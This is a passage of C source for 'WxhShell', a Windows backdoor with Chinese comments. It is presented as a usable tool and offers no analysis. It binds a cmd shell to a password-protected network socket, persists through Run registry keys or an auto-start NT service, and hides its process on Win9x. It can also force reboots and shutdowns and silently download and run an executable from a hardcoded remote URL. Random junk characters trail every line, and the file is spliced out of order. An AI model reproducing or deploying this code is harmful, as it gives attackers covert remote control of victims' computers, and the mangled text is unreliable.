    if(Boot(SHUTDOWN)) )oJn@82C|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fu0 dYN  
    else { NKD<VMcqw  
    closesocket(wsh); .(OFYK<  
    ExitThread(0); G};os+FxF  
    } _\YBB=Os  
    break; 66*/"dBwm  
    } P%A^TD|  
  // 获取shell sr+* q6W  
  case 's': { Q# w`ZQX3  
    CmdShell(wsh); \WG6\Zg0A  
    closesocket(wsh); cv(9v =](  
    ExitThread(0); C9[Jr)QX  
    break; ,y}?Z 8?63  
  } 7q<2k_3<  
  // 退出 e`%U}_[d  
  case 'x': { @vdBA hXk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hA.?19<Z  
    CloseIt(wsh); gwDQ@  
    break; TT3GFP  
    } *2ZX*w37  
  // 离开 5t`< KRz)I  
  case 'q': { w yP|#Z\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ufE;rcYE  
    closesocket(wsh); >NWrT^rk  
    WSACleanup(); A*jU&3#  
    exit(1); M=$ qus  
    break; zdFO&YHTw  
        } fmf3Hp@  
  } ;*^2,_  
  } +G';no\h  
.}n%gc~A  
  // 提示信息 1'or[Os3=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {.=089`{  
} 68 % = V>V  
  } 8"L#5MO t  
fvn`$  
  return; DD`Bl1)  
} E|OB9BOS  
=e2|:Ba!  
// shell模块句柄 sdF;H[  
int CmdShell(SOCKET sock) @j*K|+X"  
{ G+2!+N\P  
STARTUPINFO si; u`I&&  
ZeroMemory(&si,sizeof(si)); :ulOG{z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QOA7#H-m9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 36mp+}R#  
PROCESS_INFORMATION ProcessInfo; !"~x.LX \  
char cmdline[]="cmd"; (jbHV.]P9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d[mmwgSR?I  
  return 0; v?e@`;- <  
} ?.t naE  
ru#,pJ=O(  
// 自身启动模式 LT7C>b  
int StartFromService(void) -FRMal4Pg0  
{ Y5nj _xQJL  
typedef struct ~NT2QY5!K  
{ LpwjP4vWJ  
  DWORD ExitStatus; &)[?D<  
  DWORD PebBaseAddress; N>kY$*  
  DWORD AffinityMask; Lc.=CBQ  
  DWORD BasePriority; 5}S~8  
  ULONG UniqueProcessId; XpWcf ([  
  ULONG InheritedFromUniqueProcessId; >yk@t&j,  
}   PROCESS_BASIC_INFORMATION; w<=?%+n  
-]$q8 Q(hM  
PROCNTQSIP NtQueryInformationProcess; L?_'OwaY  
z,pKy Inw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; = F*SAz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N 4Kj)E@  
2d),*Cvf  
  HANDLE             hProcess; nn[OC=cDN  
  PROCESS_BASIC_INFORMATION pbi; ?=zF]J:G1w  
]-ad\PI$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c>I(6$  
  if(NULL == hInst ) return 0; %d-|C.  
L'(ei7Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cngi5._Lb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PkM]jbLe8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^pgVU&-~]/  
n~ w.\939@  
  if (!NtQueryInformationProcess) return 0; }7?n\I+n"  
Rq`B'G9|c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P1cI]rriW  
  if(!hProcess) return 0; u!4i+7}  
z~8`xn,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JZ=ahSi  
gY!+x=cx0  
  CloseHandle(hProcess); P){b"`f  
$?x;?wS0V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :g&9v_}&K{  
if(hProcess==NULL) return 0; s{g^K#BoFi  
R( 2,1f=d  
HMODULE hMod; vwF#;jj\  
char procName[255]; ,xcm:; &  
unsigned long cbNeeded; KHnq%#  
tqo k.h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |E]`rfr  
73C7g< Mx  
  CloseHandle(hProcess); Fsdp"X.  
iO$Z?Dyg9  
if(strstr(procName,"services")) return 1; // 以服务启动 9 5cIdF 6m  
V46=48K.  
  return 0; // 注册表启动 =:neGqd\_E  
} >)`yG'[  
#bIUO2yVo  
// 主模块 LVHIQ9  
int StartWxhshell(LPSTR lpCmdLine) <!qN<#$y  
{ O+f'Ql  
  SOCKET wsl; {HF,F=W  
BOOL val=TRUE; MBp,! _Q6  
  int port=0; ~F)[H'$A  
  struct sockaddr_in door; :~"Dwrui  
O@9<7@h+Nl  
  if(wscfg.ws_autoins) Install(); oItEGJ|  
<GdQ""X  
port=atoi(lpCmdLine); 4hl`~&yDf  
62s0$vw  
if(port<=0) port=wscfg.ws_port; ~)fd+~4L  
|.]g&m)y^h  
  WSADATA data; &];:uYmMU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T)CEcz  
5~ip N/)E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P3e}G-Oz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :"Gx  
  door.sin_family = AF_INET; {7F?30: ]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GkU]>8E'"  
  door.sin_port = htons(port); :o37 V!  
+cXdF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1uwzo9Yg  
closesocket(wsl); QV%,s!_b  
return 1; }c]u'a!4  
} pnTuYT^%)  
?z{Z!Bt?=)  
  if(listen(wsl,2) == INVALID_SOCKET) { "a T "o  
closesocket(wsl); tKP zM  
return 1; oS0rP'V^  
} 506AvD  
  Wxhshell(wsl); .\rJ|HpZ1J  
  WSACleanup(); 1yK=Yf%B  
,qUOPW?=  
return 0; |g`:K0BI  
AQ<2 "s  
} jhx@6[  
6s<w} O  
// 以NT服务方式启动 5Sh.4A\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %^qf0d*  
{ |V dr/'  
DWORD   status = 0; k$d+w][  
  DWORD   specificError = 0xfffffff; (@(rz/H  
7eU|iDYo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^630%YO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (?ofL|Cg(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e$Npo<u  
  serviceStatus.dwWin32ExitCode     = 0; O!3`^_.  
  serviceStatus.dwServiceSpecificExitCode = 0; >|W\8dTQ  
  serviceStatus.dwCheckPoint       = 0; .ng:Z7  
  serviceStatus.dwWaitHint       = 0; $`'%1;y@  
o0B3G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [j;#w,Wb  
  if (hServiceStatusHandle==0) return; 7dh--.i  
hsJS(qEh.'  
status = GetLastError(); <#ZDA/G(  
  if (status!=NO_ERROR) A5q%yt I  
{ C< B1zgX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |M$ESj4@  
    serviceStatus.dwCheckPoint       = 0; Cn"L*\o  
    serviceStatus.dwWaitHint       = 0; k2Dq~zn  
    serviceStatus.dwWin32ExitCode     = status; @ C"w 1}  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;p8,=w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~i5t1  
    return; =N?K)QD`  
  } ;n2b$MB?nM  
tj< 0q<is  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p+.{"%  
  serviceStatus.dwCheckPoint       = 0; 6>e YG <y{  
  serviceStatus.dwWaitHint       = 0; \!J9|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ] RLEyDB  
} 6v(;dolBIw  
>sZ207*  
// 处理NT服务事件,比如:启动、停止 .NX>d@ Kc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'kE^oX_  
{ EG oe<.  
switch(fdwControl) 6i=Nk"d  
{ /OsTZ"*.2/  
case SERVICE_CONTROL_STOP: =5D@~?W ZG  
  serviceStatus.dwWin32ExitCode = 0; Z.{r%W{2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,]cb3nP   
  serviceStatus.dwCheckPoint   = 0; |$QL>{81  
  serviceStatus.dwWaitHint     = 0; r4wnfy  
  { _VFL}<i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z#_+yw  
  } hcJny  
  return; cuUlr  
case SERVICE_CONTROL_PAUSE: noSBwP| v*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bqI| wGCA"  
  break; ?]Z EK8c  
case SERVICE_CONTROL_CONTINUE: ?cmv;KV   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F qH@i Z  
  break; zrazFI0G  
case SERVICE_CONTROL_INTERROGATE: 'boAv%1_sa  
  break; nv-_\M   
}; +jrMvk"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c ;@k\6  
} YA'_Ba(v)  
jb {5   
// 标准应用程序主函数 mj^]e/s%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n<3*7/-  
{ h_?#.z0ih;  
1 z5\>F  
// 获取操作系统版本 P6([[mmG  
OsIsNt=GetOsVer(); 3^%sz!jK+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h8-'I= ~  
)WR*8659e  
  // 从命令行安装 {WYmO1  
  if(strpbrk(lpCmdLine,"iI")) Install(); c:f++||  
<Q%:c4N  
  // 下载执行文件 ?[~)D}] j  
if(wscfg.ws_downexe) { x}*Y =Xh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N \Wd 0b  
  WinExec(wscfg.ws_filenam,SW_HIDE); W*D].|  
} ypA)G/;  
B9Z=`c.T  
if(!OsIsNt) { ckg8x&Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 `ek On@T0  
HideProc(); R`F8J}X_  
StartWxhshell(lpCmdLine); .|Bmg6g*  
} [ Cu3D  
else S&w(H'4N  
  if(StartFromService()) D-!#TN`Y  
  // 以服务方式启动 Pln*?o  
  StartServiceCtrlDispatcher(DispatchTable); jy2@t*  
else B$kp\yL  
  // 普通方式启动 f8X/kz  
  StartWxhshell(lpCmdLine); YkqauyV^  
@Tl!A1y?  
return 0; D|BP]j}6  
} |0A:0'uA!  
z,#3YC{'  
Me|+)}'p5h  
twA2U7F  
=========================================== 0-{l4;o  
G*$a81dAX  
VtJy0OGcRP  
T.j&UEsd  
g0~3;y  
{cF >, T  
" `9yR,Xk=l  
\ mt> R[  
#include <stdio.h> X/!37  
#include <string.h> xw%'R-  
#include <windows.h> %hqhi@q#  
#include <winsock2.h> NA`EG,2  
#include <winsvc.h> xK8R![x  
#include <urlmon.h> $={WtR  
[va7+=[1=  
#pragma comment (lib, "Ws2_32.lib") t<Z)D0.  
#pragma comment (lib, "urlmon.lib") \p&a c&]  
mlmXFEC  
#define MAX_USER   100 // 最大客户端连接数 1n86Mp1.e  
#define BUF_SOCK   200 // sock buffer $EuWQq7OI2  
#define KEY_BUFF   255 // 输入 buffer {=Ku9\  
v8L&F9 o  
#define REBOOT     0   // 重启 At#'q>Dn  
#define SHUTDOWN   1   // 关机 rH<iUiA?O  
$CY B&|d  
#define DEF_PORT   5000 // 监听端口 .$,.w__m ~  
m#oZu {  
#define REG_LEN     16   // 注册表键长度 VN1a\  
#define SVC_LEN     80   // NT服务名长度 [!v| M  
cLD-,v;c  
// 从dll定义API b@&ydgmaQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J&IFn/JK$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G3G"SJ np  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2\,vq R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5E#koy7 $s  
t,8p}2,$  
// wxhshell配置信息 tR]1c  
struct WSCFG { 8'kA",P  
  int ws_port;         // 监听端口 B?xu!B,  
  char ws_passstr[REG_LEN]; // 口令 .7nr:P  
  int ws_autoins;       // 安装标记, 1=yes 0=no W2a9P_  
  char ws_regname[REG_LEN]; // 注册表键名 XU}sbbwu  
  char ws_svcname[REG_LEN]; // 服务名 jKcnZu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2Rp'ju~O)/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5_mb+A n,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1Jx|0YmO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wPl!}HNf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o5N];Nj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8;YN`S!o  
\q8D7/q  
};  :_qgpE<  
>Tm|}\qEb  
// default Wxhshell configuration AwKxt'()^  
struct WSCFG wscfg={DEF_PORT, t*? CD.S  
    "xuhuanlingzhe", 62Ab4!  
    1, gr/o!NC  
    "Wxhshell", 3ppY@_1  
    "Wxhshell", <p'~$vK  
            "WxhShell Service", 9%?'[jJ  
    "Wrsky Windows CmdShell Service", fDdTs@)6  
    "Please Input Your Password: ", f(O`t}Ed  
  1, "5-S:+  
  "http://www.wrsky.com/wxhshell.exe", hOX$|0i  
  "Wxhshell.exe" oj7X9~ nd  
    }; _`JY A  
tzxp0&:Z].  
// 消息定义模块 @ P=eu3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ezt_ct/Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #@m*yJg<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d`| W6Do  
char *msg_ws_ext="\n\rExit."; eqSCNYN  
char *msg_ws_end="\n\rQuit.";  +McKyEa  
char *msg_ws_boot="\n\rReboot..."; PUUBn"U-  
char *msg_ws_poff="\n\rShutdown..."; 9 GdrJ~h  
char *msg_ws_down="\n\rSave to "; S!GjCog^J  
TXi$Q%0W  
char *msg_ws_err="\n\rErr!"; d8b'Gjwtw  
char *msg_ws_ok="\n\rOK!"; R0y@#}JH  
6NCa=9  
char ExeFile[MAX_PATH]; 6t5)rlT  
int nUser = 0; sBuVm<H  
HANDLE handles[MAX_USER]; <[^nD>t_  
int OsIsNt; b&g9A{t  
$ ;/Ny)"  
SERVICE_STATUS       serviceStatus; &Z+a (  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )>ed6A1  
%<e\s6|P:  
// 函数声明 Q~4o{"3.'  
int Install(void); !}()mrIlP  
int Uninstall(void); [FKmZzEy  
int DownloadFile(char *sURL, SOCKET wsh); t Ib?23K0  
int Boot(int flag); gFvFd:"uZ  
void HideProc(void); <G59>H5  
int GetOsVer(void); WT!8.M;Kv  
int Wxhshell(SOCKET wsl); #[*e$C  
void TalkWithClient(void *cs); <?P UF,  
int CmdShell(SOCKET sock); ^yKP 99(  
int StartFromService(void); oOuhbFu  
int StartWxhshell(LPSTR lpCmdLine); HnVUG4yZTD  
EjB<`yT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $2F*p#l(<Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :&dY1.<N+  
j>M 'nQ,;d  
// 数据结构和表定义 _tQ=ASe0  
SERVICE_TABLE_ENTRY DispatchTable[] = /n7F]Ok'*  
{ 4yC{BRbi  
{wscfg.ws_svcname, NTServiceMain}, d8g3hyI5\  
{NULL, NULL} Q=yQEh|Y  
}; (J): >\a]  
\PzC:H  
// 自我安装 !&C8y  
int Install(void) `X]-blHo  
{ Jug1Va<^c  
  char svExeFile[MAX_PATH]; ~Gc+naE>  
  HKEY key; J1"u,HF*(  
  strcpy(svExeFile,ExeFile); "2CiW6X[M  
 !+IxPn  
// 如果是win9x系统,修改注册表设为自启动 3vOI=ar=L~  
if(!OsIsNt) { {R[lsdH(X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C%v@ u$N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -,96Qg4vI  
  RegCloseKey(key); 0At??Z py  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b]mRn{r?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0i$jtCCL(  
  RegCloseKey(key); kT UQ8U  
  return 0; 9U58#  
    } C^r3r6  
  } +U^dllL7  
} ap\2={u^|  
else { 2?ZH WS>U  
b0E(tPw5c  
// 如果是NT以上系统,安装为系统服务 "twV3R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f+s'.z%  
if (schSCManager!=0) B l'  
{ S'Q$N-Dy  
  SC_HANDLE schService = CreateService Bw"L!sZ  
  ( !cnH|ePbI  
  schSCManager, (H+'sf^h  
  wscfg.ws_svcname, K;-:C9@  
  wscfg.ws_svcdisp, ;oC85I  
  SERVICE_ALL_ACCESS, -MHu BgYJ-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v (<~:]  
  SERVICE_AUTO_START, Np|i Xwl1  
  SERVICE_ERROR_NORMAL, [}lv!KmzW  
  svExeFile, e?L$RY,7  
  NULL, *NDLGdQqz  
  NULL, *ARro Ndr  
  NULL, U*k$pp6\b~  
  NULL, nAd 4g|  
  NULL I_#)>%H  
  ); UNYU2ze'  
  if (schService!=0) y~1UU3k5  
  { + 7E6U*  
  CloseServiceHandle(schService); /D8cJgH-  
  CloseServiceHandle(schSCManager); +zs;>'Sf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <g,k[  
  strcat(svExeFile,wscfg.ws_svcname); Y!o@"Ct  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2Pi}<pG~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ` M4; aN  
  RegCloseKey(key); MH"c=mL:  
  return 0; ClVMZ  
    } )J (ekfM  
  } Aid{PGDk  
  CloseServiceHandle(schSCManager); $F G4wA  
} OU9=O>  
} 0+r/>-3]  
4_t aCK  
return 1; %)l2dK&9"j  
} N ~M:+ \  
v_5DeaMF'  
// 自我卸载 ":"M/v%F  
int Uninstall(void) X^9_'T9  
{ pPh_p @3I  
  HKEY key; )KBv[|  
Fw"~f5O  
if(!OsIsNt) { s/sH",  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LC[, K  
  RegDeleteValue(key,wscfg.ws_regname); 2HQ'iEu$  
  RegCloseKey(key); ~z|/t^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )zUV6U7v  
  RegDeleteValue(key,wscfg.ws_regname); ^n]tf9{I  
  RegCloseKey(key); qI;k2sQR  
  return 0; "VcGr#zW  
  } r7ywK9UL  
} tk}qvW.Ii  
} ,fET.s^|U  
else { ,Z>RvLl  
(eO0 Ic[c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A2rr>  
if (schSCManager!=0) j*QY_Ny*  
{ "5dh]-m n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %iD>^Dp  
  if (schService!=0) *A,=Y/  
  { [(btpWxb^  
  if(DeleteService(schService)!=0) { 1P2%n[y  
  CloseServiceHandle(schService); Q `E{Oo,  
  CloseServiceHandle(schSCManager); %Si3t2W/  
  return 0; zG& N5t96X  
  } %$]u6GKabi  
  CloseServiceHandle(schService); h.2!d0j]  
  } #llc5i;  
  CloseServiceHandle(schSCManager); SfL,_X]*  
} uVscF 4  
} >%[(C*Cks  
U}Xc@- \ ?  
return 1; %WCpn<)  
} |UR.7rOV  
8zVXQ!'  
// 从指定url下载文件 &]vd7Q.t  
int DownloadFile(char *sURL, SOCKET wsh) sU bZVPDr  
{ RE"}+D  
  HRESULT hr; gscs B4<  
char seps[]= "/"; D;d;:WT5  
char *token; wau81rSd  
char *file; 79x^zqLb  
char myURL[MAX_PATH]; =C#,aoa!  
char myFILE[MAX_PATH]; 4vBbP;ELWq  
mH8s'F  
strcpy(myURL,sURL); `fc*/D  
  token=strtok(myURL,seps); &Puu Xz<  
  while(token!=NULL) fG,qax`:c  
  { Vs07d,@w>  
    file=token; PCaa _ 2  
  token=strtok(NULL,seps); Y =` 3L  
  } Z6h.gaQ7 H  
~}ewna/2  
GetCurrentDirectory(MAX_PATH,myFILE); P"i qP|  
strcat(myFILE, "\\"); y/i"o-}}~|  
strcat(myFILE, file); 2_F`ILCML  
  send(wsh,myFILE,strlen(myFILE),0); ,cC4d`  
send(wsh,"...",3,0); F=P|vYL&&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7d4R tdI  
  if(hr==S_OK) orHVL2 KK  
return 0; UNY>Q7  
else mLq?-&F  
return 1; Y$Uvt_  
},f7I^s|  
} >T!n* -Zn  
h/_z QR-  
// 系统电源模块 !J2Lp  
int Boot(int flag) slQKkx \Dn  
{ ^R<= }  
  HANDLE hToken; y"9TS,lmK  
  TOKEN_PRIVILEGES tkp; 9Hc#[Ml  
k8*=1kl"  
  if(OsIsNt) { 8g0& (9<)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5/*ZqrJw{"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }%XNB1/`  
    tkp.PrivilegeCount = 1; 'QW 0K]il  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q kQd;y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6Jj)[ R\5=  
if(flag==REBOOT) { ?_tOqh@in  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %pg*oX1VK6  
  return 0; )m)>k` 0  
} ~RMOEH.o  
else { ;G\rhk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \h0e09& I  
  return 0; A6UtpyS*'  
} oFIs,[ Go  
  } |x kixf4zz  
  else { !8A5Y[(XD  
if(flag==REBOOT) { 9td(MZ%i~N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1MV^~I8Dd  
  return 0; G3OQbqn  
} < )?&Jf>_  
else { J J3vC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i&bttSRNV  
  return 0; Nm^q.)dO  
} { _ 1q`5o  
} W&p-Z"=)  
hnY^Z_v!  
return 1; (8EZ,V:  
} q&W#nWBV  
H+: $ 7;  
// win9x进程隐藏模块 5?I]\Tb  
void HideProc(void) Ic r'l$PE  
{ hi ]+D= S  
MBwp{ET!p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); };KmMpBn  
  if ( hKernel != NULL ) S%T1na^x  
  { 4a646jg)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [%h^qJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i$NnHj|  
    FreeLibrary(hKernel); j5HOdy2  
  } dm 2_Fj  
Q,DumOq  
return; t)v#y!Ci"  
} sP&E{{<QTF  
Z'fy9  
// 获取操作系统版本 zf S<X  
int GetOsVer(void) eVlI:yqppj  
{ #Gg^fm  
  OSVERSIONINFO winfo; 'x18F#g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X F40;urm  
  GetVersionEx(&winfo); `kz_ q/K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !nYAyjf   
  return 1; AzQ}}A;TSx  
  else SB F3\  
  return 0; J$P]>By5:  
} -0Q!:5EC  
$zbg  
// 客户端句柄模块 r8> q*0~s  
int Wxhshell(SOCKET wsl) ; 6zu!  
{ Df4n9m}E  
  SOCKET wsh; {6AJ>}3  
  struct sockaddr_in client; +?L~fM69B  
  DWORD myID; K:{Q~+   
]pGr'T~Gj  
  while(nUser<MAX_USER) n/ 8fv~zU  
{ AKWw36lm  
  int nSize=sizeof(client); hQ\]vp7V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /2U.,vw  
  if(wsh==INVALID_SOCKET) return 1; !eO?75/  
 m$cM+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }@#e D  
if(handles[nUser]==0) dy0!Zz  
  closesocket(wsh); 0b|!S/*A3  
else O4#zsr:"  
  nUser++; 5 QT9  
  } 8q0 .yhb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k+i=0 P0mf  
-`gC?yff:  
  return 0;  K A<  
} H _2hr[  
<zUmcZ  
// 关闭 socket TRiB|b]8Q#  
void CloseIt(SOCKET wsh) +GGj*sD  
{ \"*l:x-u  
closesocket(wsh); dEL>Uly  
nUser--; !Zwl9DX3  
ExitThread(0); jBQQ?cA  
} E }yxF .  
q\/|nZO4  
// 客户端请求句柄 9QYU J  
void TalkWithClient(void *cs) $ OR>JnV  
{ LRI_s>7  
uu/M XID  
  SOCKET wsh=(SOCKET)cs; B\mdOTLQ  
  char pwd[SVC_LEN]; p$=3&qR 6  
  char cmd[KEY_BUFF]; FStfGN  
char chr[1]; +Q '|->#  
int i,j; L%<1C \k  
i a|F  
  while (nUser < MAX_USER) { urN&."c  
2<O hO ^  
if(wscfg.ws_passstr) { ?+!KucTF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W)"q9(T?%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C&SYmYj^c  
  //ZeroMemory(pwd,KEY_BUFF); HR}c9wy,q\  
      i=0; AsLAm#zq  
  while(i<SVC_LEN) { |p+VitM7  
9X(bByEO  
  // 设置超时 gsR"d@!  
  fd_set FdRead; vS0P] AUo  
  struct timeval TimeOut; byMO&Lb*  
  FD_ZERO(&FdRead); r9%W?fEBp  
  FD_SET(wsh,&FdRead); _Nj;Ni2rD  
  TimeOut.tv_sec=8; "K@os<  
  TimeOut.tv_usec=0; Y'Af I^K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); " c]Mz&z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N8vWwN[3  
9UwDa`^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); olJ9Kfc0  
  pwd=chr[0]; EbW7Av  
  if(chr[0]==0xd || chr[0]==0xa) { j` x9z_  
  pwd=0; <)}*S  
  break; a0n F U  
  } #Q{6/{bM&J  
  i++; w_-{$8|  
    } AV'>  
q4Z \y  
  // 如果是非法用户,关闭 socket J3'"-,Hv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QVP $e`4  
} CeZ5Ti?F  
!!QMcx_C#/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EmH{G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ucn aj|  
hZFbiGQr\  
while(1) { !pN,,H6Y  
$ey<8qzp  
  ZeroMemory(cmd,KEY_BUFF); h8h4)>:  
Sb`>IlT\#  
      // 自动支持客户端 telnet标准   |hpm|eZG"h  
  j=0; NBeGmC|  
  while(j<KEY_BUFF) { Qj=l OhM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m$o|s1t  
  cmd[j]=chr[0]; hsl8@=_ B  
  if(chr[0]==0xa || chr[0]==0xd) { _ 9k^Hd[L$  
  cmd[j]=0; kgQEg)A]!x  
  break; \<P W_'6  
  } 6^zv:C%  
  j++; }:BF3cH> 0  
    } USbiI %   
ctCfLlK  
  // 下载文件 )~5`A*Ku  
  if(strstr(cmd,"http://")) { $DMeUA\av  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a"v D+r7Ol  
  if(DownloadFile(cmd,wsh)) ;6]+/e7O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !~ZL  
  else FCI T+ 8K  
